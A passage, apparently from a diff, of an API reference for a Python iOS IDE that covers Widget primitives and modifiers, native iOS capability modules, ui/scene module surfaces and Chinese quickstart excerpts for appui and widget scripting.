`line(data, labels=None, colors=None)` | +| `Widget.link` | text | `link(title, url, icon=None, color=None)` | +| `Widget.list` | vstack | `list(items, title=None, limit=None, empty_text=None, dividers=False)` | +| `Widget.metric` | hstack | `metric(label, value, unit=None, icon=None, tone=None, style="plain")` | +| `Widget.path` | path | `path(points, stroke=None, fill=None, line_width=None, closed=False, height=None, coordinate_space="relative", opacity=None, padding=None, frame=None)` | +| `Widget.progress` | progress | `progress(value, total=1.0, color=None, height=None, track_color=None)` | +| `Widget.region` | vstack | `region(slot="center", spacing=None, align=None)` | +| `Widget.relative_time` | timer | `relative_time(target=None)` | +| `Widget.render` | lifecycle | `render(url=None)` | +| `Widget.rich_text` | richText | `rich_text(parts, size=None, weight=None, color=None, align=None, max_lines=None, design=None, font_width=None, opacity=None, padding=None, frame=None, minimum_scale_factor=None)` | +| `Widget.ring` | ringChart | `ring(value, total=1.0, label=None)` | +| `Widget.row` | hstack | `row(spacing=None, align=None)` | +| `Widget.section` | vstack | `section(title=None, spacing=None, subtitle=None, style=None)` | +| `Widget.shape` | shape | `shape(kind="rectangle", color=None, width=None, height=None, size=None, corner_radius=None, opacity=None, padding=None, frame=None, border_color=None, border_width=None, shadow_color=None, shadow_radius=None, shadow_x=0, shadow_y=2)` | +| `Widget.spacer` | spacer | `spacer(length=None)` | +| `Widget.surface` | card | `surface(role="panel", spacing=None, align=None, padding=None, background=None, corner_radius=None, border_color=None, border_width=None, shadow_color=None, shadow_radius=None)` | +| `Widget.symbol` | icon | `symbol(name)` | +| `Widget.text` | text | `text(content, size=None, weight=None, color=None, align=None, max_lines=None, design=None, font_width=None, opacity=None, padding=None, frame=None, minimum_scale_factor=None)` | +| `Widget.time` | timer | `time(target=None)` | +| `Widget.timer_text` | timer | `timer_text(target=None)` | +| `Widget.title` | text | `title(content)` | +| `Widget.toggle` | toggle | `toggle(title, is_on=False, action=None, url=None, color=None, background=None, size=None, padding=None)` | +| `Widget.validate` | lifecycle | `validate(family=None)` | +| `Widget.value` | text | `value(value, unit=None, subtitle=None)` | +| `.accessibility` | modifier | `accessibility` | +| `.align` | modifier | `align` | +| `.background` | modifier | `background` | +| `.bar_spacing` | modifier | `bar_spacing` | +| `.baseline` | modifier | `baseline` | +| `.capsule` | modifier | `capsule` | +| `.clip` | modifier | `clip` | +| `.color` | modifier | `color` | +| `.compressed` | modifier | `compressed` | +| `.corner_radius` | modifier | `corner_radius` | +| `.fill` | modifier | `fill` | +| `.fixed_size` | modifier | `fixed_size` | +| `.font` | modifier | `font` | +| `.font_style` | modifier | `font_style` | +| `.font_weight` | modifier | `font_weight` | +| `.font_width` | modifier | `font_width` | +| `.frame` | modifier | `frame` | +| `.grid` | modifier | `grid` | +| `.guide_lines` | modifier | `guide_lines` | +| `.height` | modifier | `height` | +| `.hide` | modifier | `hide` | +| `.labels` | modifier | `labels` | +| `.layout_priority` | modifier | `layout_priority` | +| `.line_limit` | modifier | `line_limit` | +| `.line_width` | modifier | `line_width` | +| `.link` | modifier | `link` | +| `.mask` | modifier | `mask` | +| `.mask_view` | modifier | `mask_view` | +| `.min_scale` | modifier | `min_scale` | +| `.monospaced` | modifier | `monospaced` | +| `.offset` | modifier | `offset` | +| `.opacity` | modifier | `opacity` | +| `.overlay` | modifier | `overlay` | +| `.overlay_view` | modifier | `overlay_view` | +| `.padding` | modifier | `padding` | +| `.place` | modifier | `place` | +| `.points` | modifier | `points` | +| `.segment_colors` | modifier | `segment_colors` | +| `.shadow` | modifier | `shadow` | +| `.show` | modifier | `show` | +| `.slot` | modifier | `slot` | +| `.soft_background` | modifier | `soft_background` | +| `.threshold` | modifier | `threshold` | +| `.tone` | modifier | `tone` | +| `.track_color` | modifier | `track_color` | +| `.width` | modifier | `width` | + +Compatibility names are kept for older scripts and should not be generated for new AI output: + +## Native iOS Capabilities + +| Module | Category | Permissions | Capabilities | Core APIs | +| --- | --- | --- | --- | --- | +| `avplayer` | `mediaVision` | - | `audio_video_load`, `playback_control`, `native_player` | `avplayer.Player`, `avplayer.load`, `avplayer.play`, `avplayer.pause`, `avplayer.stop`, `avplayer.seek`, `avplayer.duration`, `avplayer.current_time`, `avplayer.is_playing`, `avplayer.set_volume`, `avplayer.set_rate`, `avplayer.present_video`, `avplayer.on_progress`, `avplayer.stop_progress`, `avplayer.on_end`, `avplayer.cleanup` | +| `background` | `networkData` | - | `background_task`, `remaining_time`, `app_state` | `background.begin_task`, `background.end_task`, `background.remaining_time`, `background.app_state`, `background.start_keep_alive`, `background.stop_keep_alive`, `background.schedule_refresh`, `background.schedule_processing` | +| `biometric` | `deviceSensors` | `biometric` | `face_id`, `touch_id`, `passcode_fallback` | `biometric.biometric_type`, `biometric.is_available`, `biometric.authenticate`, `biometric.authenticate_with_passcode` | +| `bluetooth` | `networkData` | `bluetooth` | `ble_scan`, `ble_connect`, `read`, `write` | `bluetooth.state`, `bluetooth.scan`, `bluetooth.stop_scan`, `bluetooth.connect`, `bluetooth.disconnect`, `bluetooth.discover_services`, `bluetooth.read`, `bluetooth.write` | +| `c_extensions` | `networkData` | - | `bundled_extension_inventory`, `ios_compatibility_guidance` | - | +| `calendar_events` | `systemServices` | `calendar`, `reminders` | `calendar_read`, `calendar_write`, `reminders` | `calendar_events.authorization_status`, `calendar_events.request_access`, `calendar_events.get_calendars`, `calendar_events.get_events`, `calendar_events.create_event`, `calendar_events.delete_event`, `calendar_events.request_reminder_access`, `calendar_events.get_reminders`, `calendar_events.create_reminder`, `calendar_events.complete_reminder`, `calendar_events.delete_reminder` | +| `clipboard` | `systemServices` | - | `read_clipboard`, `write_clipboard`, `clear_clipboard` | `clipboard.get`, `clipboard.set`, `clipboard.clear`, `clipboard.get_text`, `clipboard.set_text` | +| `console` | `systemServices` | - | `hud`, `alerts`, `input_dialogs` | `console.alert`, `console.hud_alert`, `console.input_alert`, `console.login_alert`, `console.password_alert`, `console.set_color`, `console.set_font`, `console.clear`, `console.write_link` | +| `contacts` | `systemServices` | `contacts` | `contacts_read`, `contacts_picker`, `contacts_edit` | `contacts.PERSON`, `contacts.ORGANIZATION`, `contacts.ContactsError`, `contacts.Person`, `contacts.Group`, `contacts.Container`, `contacts.PropertySelection`, `contacts.authorization_status`, `contacts.capabilities`, `contacts.is_authorized`, `contacts.request_access`, `contacts.get_all_people`, `contacts.get_person`, `contacts.get_me`, `contacts.find`, `contacts.find_by_phone`, `contacts.find_by_email`, `contacts.add_person`, `contacts.remove_person`, `contacts.save`, `contacts.revert`, `contacts.get_all_groups`, `contacts.get_group`, `contacts.add_group`, `contacts.remove_group`, `contacts.get_all_containers`, `contacts.get_default_container`, `contacts.get_people_in_group`, `contacts.get_people_in_container`, `contacts.get_groups_in_container`, `contacts.pick_contact`, `contacts.pick_contacts`, `contacts.pick_property`, `contacts.show_person`, `contacts.edit_person`, `contacts.new_person`, `contacts.export_vcards`, `contacts.import_vcards`, `contacts.get_change_history`, `contacts.manage_limited_access`, `contacts.localized_label` | +| `coreml` | `mediaVision` | - | `model_listing`, `model_loading`, `image_prediction` | `coreml.list_models`, `coreml.load_model`, `coreml.predict_image`, `coreml.model_info` | +| `database` | `systemServices` | - | `sqlite`, `collections`, `transactions` | `database.Database`, `database.Collection`, `database.open`, `database.connect`, `database.default_database`, `database.collection`, `database.database_path` | +| `device` | `deviceSensors` | - | `device_state`, `screen`, `battery`, `thermal_state` | `device.name`, `device.model`, `device.system_name`, `device.system_version`, `device.identifier_for_vendor`, `device.battery_level`, `device.battery_state`, `device.orientation`, `device.screen_width`, `device.screen_height`, `device.screen_size`, `device.screen_scale`, `device.screen_brightness`, `device.set_screen_brightness`, `device.total_memory`, `device.processor_count`, `device.system_uptime`, `device.thermal_state`, `device.is_low_power_mode`, `device.locale`, `device.timezone`, `device.preferred_languages` | +| `dialogs` | `systemServices` | - | `native_dialogs`, `forms`, `pickers` | `dialogs.alert`, `dialogs.input_alert`, `dialogs.list_dialog`, `dialogs.form_dialog`, `dialogs.date_dialog`, `dialogs.hud_alert`, `dialogs.editor` | +| `haptics` | `deviceSensors` | - | `impact_feedback`, `notification_feedback`, `core_haptics` | `haptics.impact`, `haptics.notification`, `haptics.selection`, `haptics.success`, `haptics.warning`, `haptics.error`, `haptics.light`, `haptics.medium`, `haptics.heavy`, `haptics.is_supported`, `haptics.play`, `haptics.stop` | +| `health` | `deviceSensors` | `health` | `steps`, `heart_rate`, `sleep`, `body_metrics` | `health.is_available`, `health.request_authorization`, `health.authorization_status`, `health.query_steps`, `health.query_heart_rate`, `health.query_weight`, `health.save_weight`, `health.query_workouts`, `health.query_sleep`, `health.query_quantity`, `health.query_blood_pressure`, `health.summarize_blood_pressure` | +| `keyboard` | `automationExtensions` | - | `toolbar_buttons`, `insert_text`, `set_buttons` | `keyboard.add_button`, `keyboard.add_group`, `keyboard.remove_button`, `keyboard.clear`, `keyboard.insert_text`, `keyboard.insert_snippet`, `keyboard.move_cursor`, `keyboard.Button`, `keyboard.set_buttons` | +| `keychain` | `systemServices` | - | `secure_password_storage`, `service_listing` | `keychain.get_password`, `keychain.set_password`, `keychain.delete_password`, `keychain.get_services` | +| `live_activity` | `systemServices` | - | `dynamic_island`, `lock_screen_activity` | `live_activity.start`, `live_activity.update`, `live_activity.end`, `live_activity.is_supported` | +| `location` | `deviceSensors` | `location` | `gps`, `heading`, `geocoding` | `location.authorization_status`, `location.is_authorized`, `location.request_access`, `location.start_updates`, `location.stop_updates`, `location.get_location`, `location.start_heading`, `location.stop_heading`, `location.get_heading`, `location.reverse_geocode`, `location.geocode` | +| `motion` | `deviceSensors` | `motion` | `accelerometer`, `gyroscope`, `attitude`, `barometer` | `motion.is_available`, `motion.start_updates`, `motion.stop_updates`, `motion.start_accelerometer`, `motion.stop_accelerometer`, `motion.start_gyroscope`, `motion.stop_gyroscope`, `motion.start_magnetometer`, `motion.stop_magnetometer`, `motion.start_altimeter`, `motion.stop_altimeter`, `motion.get_acceleration`, `motion.get_gravity`, `motion.get_rotation_rate`, `motion.get_magnetic_field`, `motion.get_attitude`, `motion.get_altitude` | +| `network` | `networkData` | - | `http`, `download`, `connectivity` | `network.is_connected`, `network.connection_type`, `network.is_expensive`, `network.is_constrained`, `network.request`, `network.get`, `network.post`, `network.put`, `network.delete`, `network.patch`, `network.download`, `network.Response` | +| `nfc` | `systemServices` | `nfc` | `ndef_scan`, `ndef_write` | `nfc.is_available`, `nfc.scan`, `nfc.write` | +| `notification` | `systemServices` | `notifications` | `local_notifications`, `badges`, `scheduled_alerts` | `notification.request_permission`, `notification.authorization_status`, `notification.schedule`, `notification.schedule_at_date`, `notification.remove_pending`, `notification.remove_all_pending`, `notification.pending_count`, `notification.pending_identifiers`, `notification.set_badge` | +| `objc_util` | `automationExtensions` | - | `objective_c_runtime`, `framework_bridge` | `objc_util.c`, `objc_util.LP64`, `objc_util.CGFloat`, `objc_util.NSInteger`, `objc_util.NSUInteger`, `objc_util.NSNotFound`, `objc_util.NSUTF8StringEncoding`, `objc_util.NS_UTF8`, `objc_util.CGPoint`, `objc_util.CGSize`, `objc_util.CGVector`, `objc_util.CGRect`, `objc_util.CGAffineTransform`, `objc_util.UIEdgeInsets`, `objc_util.NSRange`, `objc_util.sel`, `objc_util.ObjCClass`, `objc_util.ObjCInstance`, `objc_util.ObjCClassMethod`, `objc_util.ObjCInstanceMethod`, `objc_util.NSObject`, `objc_util.NSArray`, `objc_util.NSMutableArray`, `objc_util.NSDictionary`, `objc_util.NSMutableDictionary`, `objc_util.NSSet`, `objc_util.NSMutableSet`, `objc_util.NSString`, `objc_util.NSMutableString`, `objc_util.NSData`, `objc_util.NSMutableData`, `objc_util.NSNumber`, `objc_util.NSURL`, `objc_util.NSEnumerator`, `objc_util.NSThread`, `objc_util.NSBundle`, `objc_util.UIColor`, `objc_util.UIImage`, `objc_util.UIBezierPath`, `objc_util.UIApplication`, `objc_util.UIView`, `objc_util.ObjCBlock`, `objc_util.ns`, `objc_util.nsurl`, `objc_util.retain_global`, `objc_util.release_global`, `objc_util.on_main_thread`, `objc_util.create_objc_class`, `objc_util.Structure`, `objc_util.sizeof`, `objc_util.byref`, `objc_util.c_void_p`, `objc_util.c_char`, `objc_util.c_byte`, `objc_util.c_char_p`, `objc_util.c_double`, `objc_util.c_float`, `objc_util.c_int`, `objc_util.c_longlong`, `objc_util.c_short`, `objc_util.c_bool`, `objc_util.c_long`, `objc_util.c_int32`, `objc_util.c_ubyte`, `objc_util.c_uint`, `objc_util.c_ushort`, `objc_util.c_ulong`, `objc_util.c_ulonglong`, `objc_util.POINTER`, `objc_util.pointer`, `objc_util.load_framework`, `objc_util.nsdata_to_bytes`, `objc_util.uiimage_to_png`, `objc_util.autoreleasepool` | +| `permission` | `systemServices` | `biometric`, `bluetooth`, `calendar`, `camera`, `contacts`, `health`, `location`, `microphone`, `motion`, `nfc`, `notifications`, `photos`, `reminders`, `speech` | `permission_status`, `permission_request` | `permission.status`, `permission.request`, `permission.status_all`, `permission.MODULES` | +| `photos` | `mediaVision` | `photos`, `camera` | `photo_picker`, `camera_capture`, `photo_save`, `asset_read` | `photos.pick_image`, `photos.capture_image`, `photos.save_image`, `photos.get_assets`, `photos.pick_asset`, `photos.get_image`, `photos.Asset`, `photos.AssetCollection`, `photos.get_albums`, `photos.get_smart_albums`, `photos.get_moments`, `photos.create_album`, `photos.get_screenshots_album`, `photos.get_recently_added_album`, `photos.get_selfies_album`, `photos.pick_image_base64`, `photos.capture_image_base64`, `photos.image_to_base64`, `photos.base64_to_image`, `photos.get_favorites`, `photos.get_count`, `photos.get_recent_images`, `photos.get_image_size`, `photos.get_metadata`, `photos.is_available` | +| `shortcuts` | `automationExtensions` | - | `run_shortcut`, `open_url`, `open_settings` | `shortcuts.run_shortcut`, `shortcuts.open_url`, `shortcuts.open_settings` | +| `sound` | `mediaVision` | - | `sound_effects`, `audio_player` | `sound.play_effect`, `sound.stop_effect`, `sound.stop_all_effects`, `sound.Player`, `sound.MIDIPlayer`, `sound.set_volume`, `sound.set_honors_silent_switch`, `sound.get_volume` | +| `speech` | `mediaVision` | `speech` | `text_to_speech`, `voice_listing` | `speech.say`, `speech.stop`, `speech.pause`, `speech.resume`, `speech.is_speaking`, `speech.available_voices` | +| `storage` | `systemServices` | - | `user_defaults`, `json_values` | `storage.get`, `storage.set`, `storage.get_int`, `storage.set_int`, `storage.get_float`, `storage.set_float`, `storage.get_bool`, `storage.set_bool`, `storage.get_json`, `storage.set_json`, `storage.remove`, `storage.has_key`, `storage.all_keys` | +| `vision` | `mediaVision` | - | `ocr` | `vision.setup_vision_framework`, `vision.is_vision_available`, `vision.recognize_text_from_image_data` | +| `vision_helper` | `mediaVision` | - | `face_detection`, `barcode_detection`, `rectangle_detection`, `classification` | `vision_helper.setup_vision_framework`, `vision_helper.is_vision_available`, `vision_helper.detect_faces`, `vision_helper.detect_face_landmarks`, `vision_helper.detect_barcodes`, `vision_helper.classify_image`, `vision_helper.detect_rectangles`, `vision_helper.async_request`, `vision_helper.poll_result` | +| `websocket` | `networkData` | - | `websocket_connect`, `send`, `receive`, `close` | `websocket.connect`, `websocket.WebSocket` | + +## ui Module Public Surface + +- Classes: `View`, `Button`, `Label`, `TextField`, `TextView`, `ImageView`, `Switch`, `Slider`, `SegmentedControl`, `DatePicker`, `ScrollView`, `CanvasView`, `ActivityIndicator`, `TableView`, `WebView`, `NavigationView`, `ButtonItem`, `ProgressView`, `Stepper`, `ListDataSource`, `TableViewCell`, `GestureRecognizer`, `TapGestureRecognizer`, `PanGestureRecognizer`, `PinchGestureRecognizer`, `SwipeGestureRecognizer`, `LongPressGestureRecognizer`, `GestureSender`, `Color`, `Font`, `Path`, `GState`, `ImageContext`, `Image`, `Point`, `Size`, `Rect`, `Transform`, `Touch`, `autoreleasepool` +- Functions: `parse_color`, `parse_font`, `set_color`, `fill_rect`, `stroke_rect`, `draw_string`, `begin_image_context`, `end_image_context`, `get_image_from_current_context`, `get_screen_size`, `get_window_size`, `get_keyboard_frame`, `get_ui_style`, `load_view`, `load_view_str`, `close_all`, `dump_view`, `animate`, `delay`, `cancel_delays`, `in_background`, `convert_point`, `convert_rect`, `measure_string`, `set_blend_mode`, `set_shadow` +- Constants: `ALIGN_LEFT`, `ALIGN_CENTER`, `ALIGN_RIGHT`, `ALIGN_JUSTIFIED`, `ALIGN_NATURAL`, `LB_WORD_WRAP`, `LB_CHAR_WRAP`, `LB_CLIP`, `LB_TRUNCATE_HEAD`, `LB_TRUNCATE_TAIL`, `LB_TRUNCATE_MIDDLE`, `KEYBOARD_DEFAULT`, `KEYBOARD_ASCII`, `KEYBOARD_NUMBERS`, `KEYBOARD_URL`, `KEYBOARD_NUMBER_PAD`, `KEYBOARD_PHONE_PAD`, `KEYBOARD_NAME_PHONE_PAD`, `KEYBOARD_EMAIL`, `KEYBOARD_DECIMAL_PAD`, `KEYBOARD_TWITTER`, `KEYBOARD_WEB_SEARCH`, `BLEND_NORMAL`, `BLEND_MULTIPLY`, `BLEND_SCREEN`, `BLEND_OVERLAY`, `BLEND_DARKEN`, `BLEND_LIGHTEN`, `BLEND_COLOR_DODGE`, `BLEND_COLOR_BURN`, `BLEND_SOFT_LIGHT`, `BLEND_HARD_LIGHT`, `BLEND_DIFFERENCE`, `BLEND_EXCLUSION`, `BLEND_HUE`, `BLEND_SATURATION`, `BLEND_COLOR`, `BLEND_LUMINOSITY`, `BLEND_CLEAR`, `BLEND_COPY`, `BLEND_SOURCE_IN`, `BLEND_SOURCE_OUT`, `BLEND_SOURCE_ATOP`, `BLEND_DESTINATION_OVER`, `BLEND_DESTINATION_IN`, `BLEND_DESTINATION_OUT`, `BLEND_DESTINATION_ATOP`, `BLEND_XOR`, `BLEND_PLUS_DARKER`, `BLEND_PLUS_LIGHTER`, `RENDERING_MODE_AUTOMATIC`, `RENDERING_MODE_ORIGINAL`, `RENDERING_MODE_TEMPLATE`, `LINE_CAP_BUTT`, `LINE_CAP_ROUND`, `LINE_CAP_SQUARE`, `LINE_JOIN_MITER`, `LINE_JOIN_ROUND`, `LINE_JOIN_BEVEL`, `CONTENT_SCALE_ASPECT_FIT`, `CONTENT_SCALE_ASPECT_FILL`, `CONTENT_SCALE_TO_FILL`, `CONTENT_REDRAW`, `CONTENT_CENTER`, `CONTENT_TOP`, `CONTENT_BOTTOM`, `CONTENT_LEFT`, `CONTENT_RIGHT`, `CONTENT_TOP_LEFT`, `CONTENT_TOP_RIGHT`, `CONTENT_BOTTOM_LEFT`, `CONTENT_BOTTOM_RIGHT`, `DATE_PICKER_MODE_TIME`, `DATE_PICKER_MODE_DATE`, `DATE_PICKER_MODE_DATE_AND_TIME`, `DATE_PICKER_MODE_COUNTDOWN`, `ACTIVITY_INDICATOR_STYLE_GRAY`, `ACTIVITY_INDICATOR_STYLE_WHITE`, `ACTIVITY_INDICATOR_STYLE_WHITE_LARGE` + +## scene Module Public Surface + +- Classes: `Scene`, `Node`, `SpriteNode`, `LabelNode`, `ShapeNode`, `EffectNode`, `EmitterNode`, `Action`, `Texture`, `Shader`, `SceneView`, `Touch`, `Vector2`, `Vector3`, `Size`, `Rect`, `Point`, `EdgeInsets`, `PhysicsBody`, `PhysicsWorld`, `Contact`, `PinJoint`, `SpringJoint`, `RopeJoint` +- Functions: `run`, `get_screen_size`, `get_screen_scale`, `gravity`, `play_effect`, `get_image_path`, `get_controllers`, `get_safe_area_insets`, `background`, `fill`, `no_fill`, `stroke`, `no_stroke`, `stroke_weight`, `tint`, `no_tint`, `rect`, `ellipse`, `line`, `image`, `text`, `translate`, `rotate`, `scale`, `push_matrix`, `pop_matrix`, `blend_mode`, `use_shader`, `load_image`, `load_image_file`, `load_pil_image`, `render_text`, `unload_image`, `image_quad`, `triangle_strip` +- Constants: `BLEND_NORMAL`, `BLEND_ADD`, `BLEND_MULTIPLY`, `DEFAULT_ORIENTATION`, `PORTRAIT`, `LANDSCAPE`, `TIMING_LINEAR`, `TIMING_EASE_IN`, `TIMING_EASE_IN_2`, `TIMING_EASE_OUT`, `TIMING_EASE_OUT_2`, `TIMING_EASE_IN_OUT`, `TIMING_SINODIAL`, `TIMING_EASE_BACK_IN`, `TIMING_EASE_BACK_OUT`, `TIMING_EASE_BACK_IN_OUT`, `TIMING_ELASTIC_IN`, `TIMING_ELASTIC_OUT`, `TIMING_ELASTIC_IN_OUT`, `TIMING_BOUNCE_IN`, `TIMING_BOUNCE_OUT`, `TIMING_BOUNCE_IN_OUT`, `FILTERING_LINEAR`, `FILTERING_NEAREST` + +## Curated Source Doc Excerpts + +--- source: pythonide/Docs/appui-quickstart.md --- + +# 快速上手 + +`appui` 的最小模型是:写一个返回 `View` 的 `body()`,再交给 `appui.run(body)`。如果你更习惯把状态作为参数传入,也可以写 `body(state)`,`appui.run(body, state=state)` 会自动传入同一个状态对象。下面四个示例按学习顺序递进,都可以直接打开预览。 + +## 1. Hello World + +先让原生界面出现。 + +```python runnable previewAppUI +import appui + + +def body(): + return appui.VStack([ + appui.Text("你好,appui!").font("title2").bold(), + appui.Text("这是原生 SwiftUI 桥接。").foreground_color("secondaryLabel"), + ], spacing=8).padding() + + +appui.run(body) +``` + +`body()` 或 `body(state)` 每次重建都会被调用,返回值必须是 `appui.View` 子类实例。 + +## 2. State 和按钮 + +用 `State` 保存界面数据;修改字段会触发刷新。示例里用命名回调,避免按钮在构建界面时被误执行。 + +```python runnable previewAppUI +import appui + +state = appui.State(count=0, message="Ready") + + +def decrease(): + state.batch_update(count=state.count - 1, message="Decreased") + + +def increase(): + state.batch_update(count=state.count + 1, message="Increased") + + +def body(view_state): + return appui.VStack([ + appui.Text(f"当前计数:{view_state.count}").font("title3"), + appui.HStack([ + appui.Button("-1", action=decrease).button_style("bordered"), + appui.Button("+1", action=increase).button_style("bordered_prominent"), + ], spacing=12), + appui.Text(view_state.message).font("caption").foreground_color("secondaryLabel"), + ], spacing=16).padding() + + +appui.run(body, state=state) +``` + +一次改多个字段时,用 `state.batch_update(...)` 合并刷新。 + +## 3. 表单控件 + +设置页和编辑页优先使用 `Form + Section`。输入控件读取当前状态,并用 `on_change` 写回。 + +```python runnable previewAppUI +import appui + +state = appui.State(name="Ada", enabled=False, volume=40.0, saved=False) + + +def set_name(value): + state.batch_update(name=value, saved=False) + + +def set_enabled(value): + state.batch_update(enabled=value, saved=False) + + +def set_volume(value): + state.batch_update(volume=value, saved=False) + + +def save(): + state.saved = bool(state.name.strip()) + + +def body(): + footer = "Saved" if state.saved else "Unsaved" + return appui.NavigationStack( + appui.Form([ + appui.Section("Profile", [ + appui.TextField("Name", text=state.name, on_change=set_name), + + + +--- source: pythonide/Docs/miniapp-appui-ui-patterns.md --- + +# appui UI 模式 + +这篇文档只做两件事:帮你先选对 MiniApp 页面结构,并把高频 `appui` 能力带到对应 API 文档。已经知道 API 名字时,直接去 [appui API 速查](miniapp-appui-api-index);要接系统模块时,去 [MiniApp 原生能力入口](miniapp-native-capabilities)。 + +## 先记住 4 条规则 + +1. 先定页面结构,再定控件。 +2. 页面多时优先 `TabView + Tab`,层级跳转优先 `NavigationStack + NavigationLink`。 +3. 内容会变多时优先 `List`、`Form` 或 `ScrollView`,避免单个巨大 `VStack` 承载整页。 +4. 默认使用原生结构;只有视频、地图、WebView、相机、图表画布、游戏化首屏这类场景才需要自定义承载。 + +## 高频能力入口 + +### 页面与导航 + +| 能力 | MiniApp 常见场景 | 入口文档 | API | +| --- | --- | --- | --- | +| `NavigationStack` | 页面 push、详情页、设置页 | [导航与页面结构](appui-guide-navigation) | [NavigationStack](appui-ref-navigation#navigationstack) | +| `NavigationLink` | 列表进详情、设置项进入子页 | [导航与页面结构](appui-guide-navigation) | [NavigationLink](appui-ref-navigation#navigationlink) | +| `NavigationPath` | 程序化跳转、返回、带参数详情 | [导航与页面结构](appui-guide-navigation) | [NavigationPath](appui-ref-navigation#navigationpath) | +| `NavigationSplitView` | iPad 双栏、侧栏 + 详情 | [导航与页面结构](appui-guide-navigation) | [NavigationSplitView](appui-ref-navigation#navigationsplitview) | +| `TabView` / `Tab` | 首页、记录、设置等主分区 | [导航与页面结构](appui-guide-navigation) | [TabView](appui-ref-navigation#tabview) | +| `ToolbarItem` | 导航栏保存、添加、关闭 | [导航 API](appui-ref-navigation) | [ToolbarItem](appui-ref-navigation#toolbaritem) | + +### 输入与表单 + +| 能力 | MiniApp 常见场景 | 入口文档 | API | +| --- | --- | --- | --- | +| `Form` / `Section` | 设置、资料编辑、筛选条件 | [布局系统](appui-guide-layout) | [Form](appui-ref-layout#form) | +| `TextField` / `SecureField` | 单行输入、密码、API Key | [控件 API](appui-ref-controls) | [TextField](appui-ref-controls#textfield) | +| `TextEditor` | 备注、说明、多行文本 | [控件 API](appui-ref-controls) | [TextEditor](appui-ref-controls#texteditor) | +| `Toggle` | 开关项、布尔设置 | [控件 API](appui-ref-controls) | [Toggle](appui-ref-controls#toggle) | +| `Picker` / `SegmentedControl` | 模式、分类、主题选择 | [控件 API](appui-ref-controls) | [Picker](appui-ref-controls#picker) | +| `Slider` / `Stepper` | 连续数值、步进数值 | [控件 API](appui-ref-controls) | [Slider](appui-ref-controls#slider) | +| `DatePicker` / `ColorPicker` | 日期、颜色、提醒配置 | [控件 API](appui-ref-controls) | [DatePicker](appui-ref-controls#datepicker) | +| `SearchField` / `.searchable` | 列表过滤、内容搜索 | [交互与回调](appui-guide-interaction) | [SearchField](appui-ref-controls#searchfield) | + +### 列表与数据 + +| 能力 | MiniApp 常见场景 | 入口文档 | API | +| --- | --- | --- | --- | +| `List` | 动态行、分组数据、原生滑动操作 | [布局系统](appui-guide-layout) | [List](appui-ref-layout#list) | +| `ForEach` | 动态数据渲染 | [布局 API](appui-ref-layout) | [ForEach](appui-ref-layout#foreach) | +| `LabeledContent` | 设置项、键值展示 | [布局 API](appui-ref-layout) | [LabeledContent](appui-ref-layout#labeledcontent) | +| `ContentUnavailableView` | 空状态、无结果、无权限提示 | [数据展示](appui-ref-data) | [ContentUnavailableView](appui-ref-data#contentunavailableview) | +| `Refreshable` / `.refreshable` | 下拉刷新列表、拉取远端数据 | [交互与回调](appui-guide-interaction) | [refreshable](appui-ref-presentation#refreshable) | +| `SwipeActions` / `.swipe_actions` | 左滑删除、完成、归档 | [交互与回调](appui-guide-interaction) | [swipe_actions](appui-ref-presentation#swipeactions) | +| `Table` | 多列数据、iPad 管理页 | [数据展示](appui-ref-data) | [Table](appui-ref-data#table) | + +### 媒体与系统输入 + +| 能力 | MiniApp 常见场景 | 入口文档 | API | +| --- | --- | --- | --- | +| `PhotoPicker` | 选图、选视频、上传附件 | [媒体与系统集成](appui-guide-media) | [PhotoPicker](appui-ref-media#photopicker) | +| `CameraPicker` | 拍照、扫码前置采集、录制 | [媒体与系统集成](appui-guide-media) | [CameraPicker](appui-ref-media#camerapicker) | +| `FileImporter` | 导入 PDF、CSV、文本、附件 | [媒体与系统集成](appui-guide-media) | [FileImporter](appui-ref-media#fileimporter) | +| `MapView` | 地点预览、坐标选择、门店页 | [媒体与系统集成](appui-guide-media) | [MapView](appui-ref-media#mapview) | +| `VideoPlayer` | 本地/远程视频播放、教程页 | [媒体与系统集成](appui-guide-media) | [VideoPlayer](appui-ref-media#videoplayer) | +| `WebView` | 嵌网页、帮助页、富内容 | [媒体与系统集成](appui-guide-media) | [WebView](appui-ref-media#webview) | +| `AsyncImage` | 远程封面、头像、列表缩略图 | [媒体与系统集成](appui-guide-media) | [AsyncImage](appui-ref-media#asyncimage) | + +### 数据与可视化 + +| 能力 | MiniApp 常见场景 | 入口文档 | API | +| --- | --- | --- | --- | +| `Chart` | 趋势图、统计卡、概览页 | [图表与绘图](appui-guide-charts) | [Chart](appui-ref-charts#chart) | +| `Canvas` / `DrawingContext` | 自定义绘制、仪表盘、签名板 | [图表与绘图](appui-guide-charts) | [Canvas](appui-ref-charts#canvas) | +| `Path` | 矢量路径、轨迹、示意图 | [图表与绘图](appui-guide-charts) | [Path](appui-ref-charts#path) | +| `Grid` / `LazyVGrid` | 面板栅格、快捷入口、KPI 卡片 | [布局系统](appui-guide-layout) | [Grid](appui-ref-layout#grid) | + +## 常见页面模式 + +### 单页工具 + +适合计算器、转换器、快速录入、小型查询页。推荐结构是 `NavigationStack + VStack`,输入多时外层加 `ScrollView`,主按钮只保留最重要动作。 + +```python +appui.NavigationStack( + appui.VStack([ + ..., + ], spacing=16) + .padding() + .navigation_title("页面标题") +) +``` + +### 多页工具 + +适合首页 / 历史 / 设置、学习卡片、记账、管理类小应用。推荐 `TabView`,每个 tab 里面自己包 `NavigationStack`。 + + + + +--- source: pythonide/Docs/widget-module.md --- + +# widget + +`widget` 用语义原语生成原生 WidgetKit 小组件。你描述标题、数值、图表、图片、区域和交互,系统负责把这些语义编译成适合主屏、锁屏和 StandBy 的布局。 + +旧版兼容 DSL 不再作为主文档入口展示;需要维护旧脚本时看 `widget Compatibility / Legacy`。 + +## 推荐写法 + +```python runnable previewWidget +from widget import Widget + +prices = [8.45, 8.48, 8.51, 8.49, 8.55, 8.62, 8.71] + +w = Widget(background="#F8FAFC", style="clean") +w.title("上海油价") +w.caption("92# 汽油") +w.value("8.71", unit="元/升").monospaced().compressed() +w.line(prices, colors=["green", "green", "yellow", "red"]).height(60) +w.change("+0.26 元", "+3.08%").color("red").align("trailing") +w.render() +``` + +## 基本规则 + +- 新脚本用 `Widget(style="clean")` 或 `Widget(background="...", style="clean")`。 +- 内容优先用 `title`、`caption`、`value`、`metric`、`line`、`bar`、`ring`、`progress`、`list`。 +- 需要组合布局时用语义容器:`row`、`column`、`layer`、`surface`、`grid`、`section`、`region`。 +- 根边距和默认间距由系统处理;不要为了模拟 WidgetKit 边距手写定位。 +- 最后必须调用 `w.render()`。 + +## Schema API 表 + + +## 语义原语 + +| API 